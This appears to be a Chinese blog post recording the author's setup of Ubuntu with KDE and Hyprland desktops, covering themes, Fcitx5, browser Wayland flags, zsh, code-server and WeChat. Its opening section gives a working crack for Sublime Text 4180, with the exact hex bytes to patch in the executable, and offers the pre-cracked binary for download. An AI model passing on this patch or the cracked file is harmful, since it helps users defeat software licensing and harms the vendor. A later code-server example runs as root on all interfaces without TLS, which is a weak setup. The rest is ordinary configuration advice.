/opt/sublime_text/sublime_text使用在线网站,https://hexed.it 点击打开文件,选择上一步的 sublime_text 执行文件,在搜索栏输入
80 79 05 00 0F 94 C2替换为:
C6 41 05 01 B2 00 90
重新导出替换原有的 sublime_text 即可破解成功:
下面附上此次 Sublime Text 4180 版本的破解后的文件:sublime_text
如果你在 KDE5 下使用全局菜单插件使用 Sublime Text 这种应用的话,标题是正常无法显示的,这是因为工作在 Wayland 协议下的问题,目前 KDE5 版本中这个 BUG 估计是不会修复了,所以我们可以手动指定 x11 的环境变量:
GDK_BACKEND=x11 GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx同时记得关闭 sublime 的自动更新:
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| KRDC | KDE 自带 | KDE 自带的 RDP 远程客户端,但需要自己动手优化一下 |
| Remmina | 官网安装 | Remmina 目前算是 Linux 远程工具第一梯队了 |
| VirtualBox | 官网安装 | Linux 平台上开源免费的虚拟机方案 |
| Docker Desktop | 官网安装 | 图形化 Docker 容器管理 |
| Terminus | 官网下载 | 一个颜值很高的远程工具 |
| MobaXterm(Wine) | 星火商店 | Windows 下好用的远程工具 |
| Tabby | 星火商店 | 开源高颜值的终端 |
默认在 Wayland 显示协议下,KRDC 还无法正常工作,最新版本的 KRDC 可能已经解决这个问题了,但是我们的 Kubuntu 24.04 的 KDE5 的版本的 KRDC 版本太老:

但是我们可以编辑应用程序,强制让 KRDC 走 X11 协议来工作:
XDG_SESSION_TYPE=x11 QT_QPA_PLATFORM=xcb这样 KRDC 就可以正常工作了:
Ubuntu 24.04 自带的 Remmina 版本不是很新,所以打开后发现界面还不是中文的,可以根据官方文档手动添加 ppa 源,安装最新版本的 Remmina,这样界面就变成中文的了:
sudo apt-add-repository ppa:remmina-ppa-team/remmina-nextsudo apt updatesudo apt install remmina remmina-plugin-rdp remmina-plugin-secret| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| ImageMagick | Discover 商店 | ImageMagick 是 Linux 上经典的图像处理工具 |
| Gimp | 星火商店 | GIMP 是一款强大的图像处理软件 |
| Adobe PhotoShop CS6 | 星火商店 | 虽然这个 PhotoShop 有点老,但又不是不能用 |
| Image Viewer | Discover 商店 | 支持直接查看和导出 macOS 的 ICNS 格式图标 |
| 软件名称 | 下载安装方式 | 说明 |
|---|---|---|
| Steam | 星火商店 | Steam 里面的 Linux 游戏还是不少的 |
| 网易云音乐 | 星火商店 | 星火商店的版本安装比较省心,但每日推荐这些功能不正常 |
| YesPlayMusic | 官方项目 | 高颜值的第三方网易云播放器 |
| PotPlayer | 星火商店 | Windows 平台下移植过来的优秀的视频播放器 |
| VLC 媒体播放器 | apt install vlc | 老牌开源的媒体播放器 |
| MPV 媒体播放器 | apt install mpv | Linux 下简约且强大的媒体播放器 |
| OBS Studio | apt install obs-studio | 非常强大的直播以及录制视频的专业软件 |
如果你的屏幕分辨率很高的话,那么这个 Linux 上的网易云音乐界面就有一点点小了,我们需要手动添加节目缩放变量来优化使用体验,下面表示应用界面缩放 1.5 倍:
QT_SCALE_FACTOR=1.5找到应用程序菜单,编辑网易云音乐的应用程序,手动添加上面的环境变量即可。
因为网易云官方不维护的原因,这个官方客户端理论上是没法正常密码登陆账号的,但是支持扫码登陆,除了个性推荐不能正常使用以外,其他功能貌似也都支持工作:
Hyprland 深度使用了很长时间,虽然特效操作很酷,但是有点过于激进了,好多适配度也跟不上,所以还是想安装其他的桌面再对比体验看看。
自带的 GNOME 桌面我一直保留,虽然简洁开箱即用,但是可定制性还是弱了一点,所以打算尝试一下大名鼎鼎的 KDE 桌面,我倒要看看 KDE 桌面有多么的厉害!
本文只是重点是美化和一些零散的记录,关于 Ubuntu Linux 下的生态大家可以看我之前一篇文章:国光的 Ubuntu Hyprland 桌面优化记录,这两篇文章大家可以结合着一起看,一定对你的 Linux 优化配置提供一定的帮助。
KDE 分为完整版、标准版和精简版,由于国光我把 Linux 的硬盘划分的很大,所以直接一步到位安装一个 KDE 的完整版本,包括所有的 KDE 应用程序和工具:
sudo apt updatesudo apt upgradesudo apt install kde-full由于我们之前已经安装过 Fctix 输入法了,我们可以在 KDE 的设置里面直接启用:
重启后即可正常使用 Fctix 输入法,我的配置如下:
因为我们使用的是 KDE 的 Wayland 模式,所以之前在 Hyprland 桌面下配置的 Waybar 依然会开机自启来工作,那么就会像下面这样:
解决方法也很简单,我们直接备份一下 Waybar 的开启自己服务即可:
sudo mv /usr/lib/systemd/user/waybar.service /usr/lib/systemd/user/waybar.service.bak 这样我们的 KDE 桌面基本上就属于正常水平了,美化折腾之路才刚刚开始:
由于之前安装配置过 SwayNotificationCenter 的通知插件了,导致 KDE 自带的通知无法正常工作,所以需要卸载掉之前配置的插件:
sudo apt remove sway-notification-center这样我们的 KDE 通知可以正常工作了:
测试以下
KDE 也自带来很多高效的快捷键,下面记录分享一下国光我常用的键盘快捷键:
| 快捷键 | 说明 |
|---|---|
| Super | 打开应用程序菜单栏 |
| F11 | 应用全屏 |
| Super + W 或者 鼠标左上角触发角 | 打开所有工作区视图 |
| Super + E | 打开文件管理器 |
| Super + L | 锁屏 |
| Ctrl + Alt + Del | 打开提出菜单 |
| Super + D 或者 Ctrl + F12 | 显示桌面 |
| Alt + Tab | 切换下一个窗口 |
| Alt + Shift + Tab | 切换上一个窗口 |
| Ctrl + Super + 左右方向键 | 左右切换工作区 |
| Alt + Space | 打开 KRunner |
| Ctrl + Alt + T | 打开默认终端 |
| Super + 方向键 | 上下左右移动窗口 |
| Alt + F4 | 关闭当前窗口 |
| Super + Pgup | llll最大化窗口 |
| Super + Pgdn | 最小化窗口 |
| Super + 加号 | 局部画面放大 |
| Super + 减号 | 局部画面缩小 |
| PrtSc | 调用 Spectacle 全屏截图 |
作为笔记本用户,触控板手势也是必不可少,下面是 KDE6 的触控板基本手势:
| 触控板手势 | 说明 |
|---|---|
| 双指轻点 | 右键 |
| 双指滚动 | 页面上下滚动 |
| 三指左右滚动 | 切换工作区 |
| 四指左右滚动 | 切换工作区 |
| 四指上滑 | 打开所有工作区视图 一阶段 |
| 四指上滑再上滑 | 打开所有工作区视图 二阶段 |
| 四指上滑 | 打开所有工作区视图 二阶段 |
Snipaste 在 KDE 下的工作很丝滑,和 Windows 以及 macOS 平台下的流畅度都差不多,强烈建议大家试试看,唯一要注意的就是这个截图软件自带的快捷键很多和 KDE 桌面的快捷键冲突了,所以需要自己设置来避开:
Ubuntu 自带的应用中心可以很轻松的安装上 Steam:

Steam 在 Linux 下的游戏也挺多,比如地平线5、尘埃 拉力赛、荒野大镖客 2 都可以直接在 Linux 平台上运行:
KDE 一般是自带 OpenVPN 的,如果没有安装可以使用下面命令安装一下:
sudo apt install openvpn可以通过 KDE 的网络设置里面自行添加 OpenVPN 的连接:
如果有 OpenVPN 配置文件的话,直接导入 OpenVPN 配置文件即可直接添加一个 VPN 连接:
自带的 FireFox 火狐浏览器在 KDE 的 Wayland 模式下工作很完美,支持双指捏合也支持中文输入法,但是 Chrome 和 Edge 还是需要我们配置一下的。
cat /usr/share/applications/google-chrome.desktop|grep Exec Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imecat /usr/share/applications/microsoft-edge.desktop| grep Exec Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeYandex Browser 是我喜欢的一个浏览器,是毛子那边出品的,整体颜值细节都挺棒的。
cat /usr/share/applications/yandex-browser-beta.desktop| grep Exec Exec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/yandex-browser-beta --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/yandex-browser-beta --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeVivaldi Browser 也是一个我喜欢的浏览器,挺有自己的个性的,值得在 Linux 平台上试试看。
cat /usr/share/applications/vivaldi-stable.desktop| grep Exec Exec=/usr/bin/vivaldi-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %UExec=/usr/bin/vivaldi-stable --new-window --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/vivaldi-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeYandex 浏览器播放 B 站提示需要安装解码相关的组件,根据提示我们直接安装以下:
sudo apt install libgstreamer1.0-0 gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-libav这样就可以丝滑的使用各种浏览器播放网页 4k 视频了:
本次主题使用 Github 上一个高 star 的项目来实现:https://github.com/vinceliuice/WhiteSur-kde
git clone https://github.com/vinceliuice/WhiteSur-kdecd WhiteSur-kde./install.sh 之后我们就可以在设置的全局主题里面启用我们刚刚安装好的主题了:

其实主题这些就放在:~/.local/share/plasma/look-and-feel 文件夹下。
本次图标主题借助的是 https://github.com/vinceliuice/WhiteSur-icon-theme 项目
git clone https://github.com/vinceliuice/WhiteSur-icon-themecd WhiteSur-icon-theme./install.sh 配置完成后在设置里面启用这个图标,重启一下电脑,最后整体的效果已经很接近 macOS 了:
下面是国光的一些特效配置效果:
主要细节如下:
下面主要单独说下 KDE6 配置毛玻璃的关键配置要来出来提一下:
你是否羡慕人家 Arch Linux 那酷炫的平铺式桌面,现在不必再自卑了,使用目前最新的 Ubuntu 也是可以做到通用酷炫的效果。那么准备好电脑,跟着本文开始行动起来吧!
最近家电下乡各种优惠补贴很多,国光我也忍不住剁手下单了一台性价比很高的笔记本,机械革命无界15X 暴风雪版本,默认是 32 + 1TB 的配置,我也自行升级了一下,目前详细的配置如下:
| 组件 | 型号 |
|---|---|
| CPU | AMD Ryzen™ 7 8845HS 8大核16线程 最大睿频 5.1Ghz |
| GPU | AMD Radeon™ 780M(GTX 1060级别) |
| 电池 | 99Wh 超大电池 |
| 内存 | 48GB 双 24GB DDR5 5600Mhz |
| SSD1 | 出厂自带的英睿达 P3 Plus PCIe4.0 1TB |
| SSD2 | 西数 SN770 PCIe 4.0 2TB |
| 屏幕 | 15.3 寸 16:10 比例 2560x1600分辨率 120Hz 400nits IPS |
| 网卡 | Intel WiFi6 AX200 160Mhz + 裕太微千兆有线网卡 YT6801 |
Ubuntu 是一个非常老牌经典的 Linux 发行版,Ubuntu 对 Linux 初学者非常友好,同时稳定性也很棒,受众广泛,相关资料众多,由于打算体验最新的 Hyprland 桌面,所以本次就使用了最新的 Ubuntu 24.10 每日更新版本,虽然听上去好像不是很稳定,但是退一步说,它就算再不稳定也是 Ubuntu,和 Arch Linux 那种滚动式更新比起来,还是小巫见大巫了。
由于我这个笔记本硬盘充实,所以这里选择的双系统方案,腾出了接近 1TB 的空间来单独安装 Ubuntu:
给这么大的空间可以看出这次我不是只想玩玩而已,是真的想把这台 Ubuntu 变成生产力操作系统的。
因为 Ubuntu 安装引导已经很人性化,所以这里国光我不打算写双系统安装过程了,后面直接讲解一些关键的操作。
Ubuntu 24.10 默认使用的是 GNOME 桌面,非常经典简约同时对触控板手势操作也非常友好。所以还是很有必要介绍一下默认的 GNOME 触控板手势的.
| 手势 | 说明 |
|---|---|
| 双指捏合 | 图片、网页等放大缩 |
| 双指滚动 | 模拟鼠标滚轮上下滚动 |
| 三指左右移动 | 工作区左右切换 |
| 三指上移 | 调出工作区视图 |
| 三指上移再上移 | 打开应用中心控制台 |
| 三指上移再上移然后下移 | 回到工作区视图 |
| 三指上移再上移然后下移再下移 | 回到桌面视图 |
最新的 Ubuntu 还处于测试版本,所以大多数的源速度都不是很快,这个时候需要我们手动去打开「软件和更新」,然后手动点击「选择最佳服务器」:
默认情况下 Ubuntu 是我这个笔记本的以太网卡驱动的,好在官网提供了驱动的下载链接:
驱动安装很简单,安装好编译驱动的依赖,然后直接执行脚本就行了:
sudo apt udpatesudo apt install makesudo apt install gcc-13./yt_nic_install.sh
本次使用的 https://github.com/JaKooLit/Ubuntu-Hyprland 项目来辅助我们一键安装,安装前先把基础的工具安装好:
# 将系统所有包更新到最新sudo apt update & sudo apt upgrade# 安装基础工具sudo apt install git curl wget vim -y考虑到网络问题,可以先局域网找个可以出网的代理,然后借助 proxychains4 工具来让项目走代理
# 安装代理工具 proxychains4sudo apt install proxychains4# 编辑配置代理sudo vim /etc/proxychains4.conf最后解决好代理问题后就可以正常走我们的安装流程了:
# bash 全局走代理proxychains4 bash# 下载并执行安装脚本git clone --depth=1 -b 24.10 https://github.com/JaKooLit/Ubuntu-Hyprland.git ~/Ubuntu-Hyprland-24.10cd ~/Ubuntu-Hyprland-24.10chmod +x install.sh./install.sh注意:执行脚本不需要使用 sudo 或者 root 权限用户来执行,直接普通用户直接执行即可。
下面是我执行脚本的一些选项,大家仅供参考:
# 我的电脑没有 N 卡Do you have any nvidia gpu in your system? n# 建议安装这个 GTK 主题Install GTK themes (required for Dark/Light function)? y# 建议配置蓝牙Do you want to configure Bluetooth? y# 建议安装 Thunar 文件管理器Do you want to install Thunar file manager? y# 不安装 SDDM,使用 GNOME 默认的 GDM 即可Install & configure SDDM log-in Manager plus (OPTIONAL) SDDM Theme? n# 建议安装桌面共享功能Install XDG-DESKTOP-PORTAL-HYPRLAND? (For proper Screen Share ie OBS) y# 建议安装 zsh shell 并配置 oh-my-zsh 美化主题Install zsh & oh-my-zsh plus (OPTIONAL) pokemon-colorscripts for tty? y# 建议安装 nwg-look 美化应用Install nwg-look? (a GTK Theming app - lxappearance-like) WARN! This Package Takes long time to build! y# 我不是华硕笔记本Installing on Asus ROG Laptops? n# 建议下载并安装预先配置的 Hyprland-dotfilesDo you want to download and install pre-configured Hyprland-dotfiles? y当然我们使用 proxychains4 代理安装脚本的时候,有时候还需要从拉取 go 的相关模块,也会卡主很久,所以这个时候终止脚本,重新配置一下 golang 的国内镜像源:
# 启用 Go Modules 功能go env -w GO111MODULE=on# 配置 GOPROXY 环境变量,以下三选一# 1. 七牛 CDNgo env -w GOPROXY=https://goproxy.cn,direct# 2. 阿里云go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct# 3. 官方go env -w GOPROXY=https://goproxy.io,direct这个时候再重新挂代理执行脚本,走一下安装流程,安安静静等待执行完成即可:
./install.sh我们还可以使用 Clash 客户端来访问谷歌等国外资产,本次使用的是 Github 上面比较高 star 的项目:
https://github.com/clash-verge-rev/clash-verge-rev
后面安装 Hyprland 的时候建议打开 Clash 的 Tun 模式,这样代理更简单透彻一点:
建议安装配置 Timeshift 创建个快照,方便我们后面配置乱了可以恢复回去,安装很简单:
sudo apt updatesudo apt install timeshift然后创建一个快照即可:
# 安装 SSH Serversudo apt install openssh-server# 开机自动启动ssh命令sudo systemctl enable ssh# 关闭ssh开机自动启动命令sudo systemctl disable ssh首先查看以下我们的显示器名称:
# 列出所有显示器hyprctl monitors allMonitor eDP-1 (ID 0):[email protected] at 0x0.....然后根据实际的使用情况,编辑我们的显示器配置:
vim ~/.config/hypr/UserConfigs/Monitors.conf主要的配置内容如下:
# Monitors,分别表示 显示器名称 分辨率刷新率 起始位置 缩放monitor=eDP-1,2560x1600@120,0x0,1.6如果将 DP-1 放在 DP-2 的左侧,则这样配置:
monitor = DP-1, 1920x1080, 0x0, 1monitor = DP-2, 1920x1080, 1920x0, 1| 快捷键 | 说明 |
|---|---|
| Esc | 关闭当前 App |
| Super + 回车 | 打开 Kitty 终端 |
| Super + H | 打开快捷键帮助页面 |
| Super + Q | 关闭活跃的窗口 |
| Super + Shift + Q | Kill 掉活跃的窗口 |
| Super + A | 打开所有桌面预览试图 |
| Super + D | 打开 App 启动器 |
| Super + T | 打开 Thunar 文件管理器 |
| Super + S | 打开 Google 搜索 |
| Super + W | 选择壁纸 |
| Super + Shift + W | 设置壁纸效果 |
| Ctrl + Alt + W | 随即更换壁纸 |
| Super + Alt + B | 更换 Waybar 布局 |
| Super + Ctrl + B | 更换 Waybar 样式 |
| Super + Shift + N | 打开通知中心 |
| Super + PrtSc | 全屏截图到剪贴板 |
| Super + Shift + S | 选择区域截图(swappy) |
| Alt + PrtSc | 截取活动窗口 |
| Ctrl + Alt + P | 打开电源窗口(wlogout) |
| Ctrl + Alt + L | 锁屏 |
| Ctrl + Alt + Del | 注销退出 Hyprland |
| Super + F | 应用全屏 = F11 |
| Super + Alt + L | 切换 Dwindle 和 Master 的 Hyprland 布局 |
| Super + Shift + F | 将当前窗口置于最上层浮动展示 |
| Super + Alt + F | 将当前窗口置于最底层浮动展示 |
| Super + Shift + B | 切换毛玻璃模糊度 |
| Super + Shift + G | 打开或者关闭所有动画特效 |
| Super + Alt + E | 打开 rofi 表情包 |
| Super + Alt + V | 剪贴板管理 |
| Super + E | 编辑桌面整体布局配置 |
| Super + Shift + 数字 | 将当前窗口移动到对应的工作区 |
这个 oh my zsh 的默认配置如下:
cat ~/.zshrcexport ZSH="$HOME/.oh-my-zsh"ZSH_THEME="xiong-chiamiov-plus"plugins=( git zsh-autosuggestions zsh-syntax-highlighting)source $ZSH/oh-my-zsh.sh# Display Pokemon-colorscripts# Project page: https://gitlab.com/phoneybadger/pokemon-colorscripts#on-other-distros-and-macospokemon-colorscripts --no-title -s -r安装快捷目录跳转插件:
sudo apt install autojump 在 ~/.zshrc 中配置:
plugins=( git autojump zsh-autosuggestions zsh-syntax-highlighting)在 ~/.zshrc 中添加配置:
# 关掉 URL 反斜杠转义DISABLE_MAGIC_FUNCTIONS=true# 禁用 on my zsh 自动更新zstyle ':omz:update' mode disabled官网建议安装他们的字体,这个看自己的喜好吧,国光我觉得只要不是太丑的字体都不错的。
下载并安装以下官方推荐的四个 ttf 文件:
MesloLGS NF Regular.ttf、MesloLGS NF Bold.ttf、MesloLGS NF Italic.ttf、MesloLGS NF Bold Italic.ttf
首先将主题 git clone 到我们的主题目录下:
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k在 ~/.zshrc 中配置启用新的主题:
ZSH_THEME="powerlevel10k/powerlevel10k"重载 zsh 终端会自动进入 powerlevel10k 主题的配置向导:
zsh根据向导的提示回答 y 或者 n 即可,下面是向导问的几个问题:
# 这看起来像菱形吗?Does this look like a diamond (rotated square)?# 这看起来像一个锁吗?Does this look like a lock?# 这看起来像一个向上的箭头吗?Does this look like an upwards arrow?# 这些图标都正常显示放在 x 之间,没有重叠吗?Do all these icons fit between the crosses?问完问题后选择终端前面的提示样式,国光我这里肯定选择了最酷炫的 Rainbow 样式:
编码这块推荐使用更标准先进的 Unicode 编码:
其他的设置细节根据大家自己的喜好来就行,国光我就不一一列举了:
如果期间又不小心配置错误的话,可以运行:
p10k configure重新走一步配置向导。
配置完主题后重新加载 zsh 会发现有告警信息:
发现原来是我们这一步配置有问题:
我们手动编辑 .p10k.zsh 配置文件:
细心的小伙伴肯定会发现我们切换到 root 发现依然是 bash shell,这对于强迫症来说就有点难受了:
首先手动在 root 用户下将 zsh 设置为默认的 shell:
chsh --shell /bin/zsh接着切换到普通用户,使用软连接,链接 我们普通用户 home下的的 zsh 配置:
sudo ln -s $HOME/.oh-my-zsh /root/.oh-my-zshsudo ln -s $HOME/.zshrc /root/.zshrc基本上没问题了,但是依然提示了一些警告信息:
在 ~/.zshrc 中添加配置即可关闭告警:
ZSH_DISABLE_COMPFIX=true这样我们的 root 用户也可以丝滑的使用 zsh 啦:
为了下面的 fastfetch 各个图标都正常显示,我们这里建议先提前把 Kitty 配置好字体。
带图标字体下载地址:Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher
以上面的 0xProtoNerdFont 字体为例,下载安装好之后,我们编辑 kitty 配置文件来启用这个字体:
vim /home/x-x/.config/kitty/kitty.conf这类也可以自定义字体大小等配置:

这套主题默认的 Kitty 的外观快捷键配置如下:
| 快捷键 | 说明 |
|---|---|
| Ctrl + Shift + T | 新建标签页 |
| Ctrl + Shift + N | 新建窗口 |
| Ctrl + Shift + 左右方向键 | 切换标签页 |
| Ctrl + Shift + Tab | 切换标签页 |
| Ctrl + Tab | 切换标签页 |
| Ctrl + Shift + Alt + T | 设置标签页标题 |
| Ctrl + Shift + 回车 | 分屏 |
| Ctrl + Shift + Q | 退出标签页 |
| Ctrl + Shift + W | 退出分屏 |
Ctrl + Shift + + | 字体放大 |
Ctrl + Shift + - | 字体缩小 |
| Ctrl + Shift + F11 | 切换到全屏 |
日常工作操作的快捷键如下:
| 快捷键 | 说明 |
|---|---|
| Ctrl + Shift + C | 复制 |
| Ctrl + Shift + V | 粘贴 |
| Ctrl + Shift + Esc | 打开小猫 shell |
| Ctrl + Shift + Pgup/Pgdn | 上下滚动翻页 |
| Ctrl + Shift + K/上方向键 | 向上滚动 |
| Ctrl + Shift + J/下方向键 | 向下滚动 |
| Ctrl + Shift + Home | 滚动到顶部 |
| Ctrl + Shift + End | 滚动到底部 |
| Ctrl + Shift + Z | 滚动到上一个命令 |
| Ctrl + Shift + X | 滚动到下一个命令 |
编辑 kitty 的配置文件:
vim ~/.config/kitty/kitty.conf我主要修改的配置如下:
# 配置更大的回滚历史记录scrollback_lines 20000因为 neofetch 官方停止维护了,大家也慢慢的转到了 fastfetch 平台,所以我们安装一下:
sudo apt install fastfetch官方默认的样式如下,感觉效果还是差点意思呀:
官方默认有 3 个 fastfetch 配置:
使用 fastfetch –config 即可查看各个配置情况:
fastfetch --config .config/fastfetch/config.jsonc fastfetch --config .config/fastfetch/config-v2.jsonc fastfetch --config .config/fastfetch/config-compact.jsonc我们先把原来的配置文件夹都备份一下:
mv ~/.config/fastfetch ~/.config/fastfetch.bak为了方便大家使用,国光我单独搞了项目分享我的配置,方便大家去使用:
sqlsec/fastfetch: Awesome fastfetch terminal with pokemon 酷炫的 fastfetch (github.com)
使用也很简单:
# 进入 .config 目录cd $HOME/.config# 下载并解压然后删除wget https://github.com/sqlsec/fastfetch/releases/download/v0.1/fastfetch-for-Linux.zipunzip fastfetch-for-Linux.zip && rm fastfetch-for-Linux.zip不同的 .jsonc 就是不同的预设方案,如果启用的话,将其重命名为 config.jsonc 即可切换为默认的预设方案:
我的触控板基础配置~/.config/hypr/UserConfigs/UserSettings.conf如下,主要就改了自然滚动和滚动速率,这样使用体验和 macOS 很接近了:
touchpad { disable_while_typing = true # 开启自然滚动 natural_scroll = true # 滚动幅度的设置为 0.2 scroll_factor = 0.2 clickfinger_behavior = false middle_button_emulation = true tap-to-click = true drag_lock = false}编辑 ~/.config/hypr/UserConfigs/UserSettings.conf配置,修改的触控板手势如下:
gestures { workspace_swipe = true # 将触摸板手势改为 4 指 workspace_swipe_fingers = 4 # 触摸板手势的距离 workspace_swipe_distance = 400 workspace_swipe_invert = true workspace_swipe_min_speed_to_force = 30 # 更改滑动灵敏度 workspace_swipe_cancel_ratio = 0.1 workspace_swipe_create_new = true # 关掉连续工作区滚动,防止滑多了 workspace_swipe_forever = false #workspace_swipe_use_r = true #uncomment if wanted a forever create a new workspace with swipe right}因为目前 Fcitx5 完全支持 Wayland,所以首先我们要安装 Fcitx5 输入法框架及其相关依赖:
sudo apt updatesudo apt install -y fcitx5 fcitx5-chinese-addons fcitx5-configtool fcitx5-frontend-gtk3 fcitx5-frontend-qt5 fcitx5-module-xorg fcitx5-module-wayland安装好之后,默认使用 Ctrl + 空格或者使用 Shift 切换输入法,自带的 Firefox 此时应该可以正常使用中文输入法了。
将 fcitx5 输入法框架配置开机自启:
vim ~/.config/hypr/hyprland.conf添加或修改以下内容:
exec = fcitx5 &这个主题自带使用的是 swappy 截图,整体也挺好用的,但是如果只是想只区域截图到剪贴板的话,这个 swappy 感觉使用起来就比较繁琐了,这个时候可以考虑使用 Hyprshot 来辅助使用。
官方项目地址为:https://github.com/Gustash/Hyprshot
安装很简单:
# 下载并给予执行权限git clone https://github.com/Gustash/hyprshot.git Hyprshotchmod +x Hyprshot/hyprshot# 创建软链接sudo ln -s $(pwd)/Hyprshot/hyprshot /usr/local/bin/hyprshot然后手动绑定快捷键类调用 hyprshot 的区域截图并直接到剪贴板不保存文件:
vim ~/.config/hypr/UserConfigs/UserKeybinds.conf关键的内容如下:
# Hyprshotbind = $mainMod ALT_L, S, exec, hyprshot -m region --clipboard-onmacOS 自带的 Command + 空格 很优雅的调出搜索框,不仅可以打开 APP 还可以调用计算器等,Linux 用户也不要过多羡慕,我们也可以实现类似的功能,只要借助 Ulauncher 即可。
官方的 Github 项目地址为:https://github.com/Ulauncher/Ulauncher/
设置完喜欢的 APP 后,我们同样需要手动绑定快捷键类来调用 Ulauncher:
vim ~/.config/hypr/UserConfigs/UserKeybinds.conf关键的内容如下:
# Ulanucherbind = $mainMod, SPACE, exec, gapplication launch io.ulauncher.UlauncherWarbar 是在 Hyprland 环境下工作非常棒的顶部状态栏,可定制性非常高。此次脚本自带的相关快捷键如下:
| 快捷键 | 说明 |
|---|---|
| Super + Alt + B | 更换 Waybar 布局 |
| Super + Ctrl + B | 更换 Waybar 样式 |
我的搭配如下:[Top & Bot] SummitSplit 布局 + [Transparent] Crystal Clear 样式,这样国光个人认为结合了 macOS 和 Windows 的特性,使用起来效率会更高一点:
当然这个默认搭配虽然效果已经很不错了,但是还是有很多优化空间,下面是国光我具体的配置效果。
具体的细节大家自行参考为的 waybay 配置文件吧。
我的配置打包文件下载地址:https://www.sqlsec.com/download/waybar.zip
首先编译 nwg-dock-hyprland 项目:
git clone https://github.com/nwg-piotr/nwg-dock-hyprland.gitcd nwg-dock-hyprlandmake getmake buildsudo make installVSCode 网页版本,Linux 服务器安装这个的话可以很方便的管理操作我们的 Linux 系统。
安装方式,下载官方打包好的 Deb 包即可:Releases · coder/code-server
sudo apt instal gdebisudo gdebi code-server_4.92.2_amd64.deb编辑配置文件来开启局域网监听 /root/.config/code-server/config.yaml:
bind-addr: 0.0.0.0:8866auth: passwordpassword: xxxxxxxxx这里是你的密码xxxxxxxxxxxxcert: false使用 systemctl 管理 code-server 服务,编辑配置文件 vim /etc/systemd/system/code-server.service
内容如下:
[Unit]Description=code-serverAfter=network.target[Service]Type=execExecStart=/usr/bin/code-serverRestart=alwaysUser=root[Install]WantedBy=default.target这样就可以优雅的通过 systemctl 来接管 code-server 服务了:
# 查看 code-server 的状态sudo systemctl status code-server# 启动 code-server 服务sudo systemctl start code-server# 重启 code-server 服务sudo systemctl restart code-server# 停止 code-server 服务sudo systemctl stop code-server直接浏览器访问 Google Chrome 网络浏览器 官网,下载官方打包好的 deb 安装包即可,使用 gdebi 可以很方便的安装:
sudo gdebi google-chrome-stable_current_amd64.deb默认情况下 Chromium 系列是不走 Wayland 的,且输入法不正常,我们可以带着命令行手动运行一下 Chrome 让其走在正常的工作模式:
/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime可以看到很明显缩放比例和输入法都正常工作了。
sudo vim /usr/share/applications/google-chrome.desktop找到以 Exec 开头的行,并在命令后添加我们的参数,一共找到 3 行,均添加一下即可:
$ cat /usr/share/applications/google-chrome.desktop|grep Exec Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %U Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeEdge 官网直接下载打包好的 deb 包即可:Download Edge for Business
然后直接使用 gdebi 安装即可:
gdebi microsoft-edge-stable_128.0.2739.79-1_amd64.deb安装好后和上面的 Chrome 一样,我们也需要对其进行配置才可以让它在 Wayland 下工作,且更好的支持中文输入法:
sudo vim /usr/share/applications/microsoft-edge.desktop找到以 Exec 开头的行,并在命令后添加我们的参数,一共找到 3 行,均添加一下即可:
$ cat /usr/share/applications/microsoft-edge.desktop| grep Exec Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime腾讯官方已经做了原生微信了,目前搬运的项目地址为:lovechoudoufu/wechat_for_linux: wechat_for_linux;weixin_for_linux;wechat-beta;微信;linux原生微信 (github.com)
然后直接使用 gdebi 安装即可:
sudo gdebi wechat-beta_1.0.0.238_amd64_login.deb默认显示感觉有点小,而且也不支持中文显示:
编辑配置文件:
sudo vim /usr/share/applications/wechat.desktop 主要修改如下:
Exec=env QT_SCALE_FACTOR=1.5 GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" XMODIFIERS="@im=fcitx" /usr/bin/wechat --enable-wayland-ime %U最终效果如下:
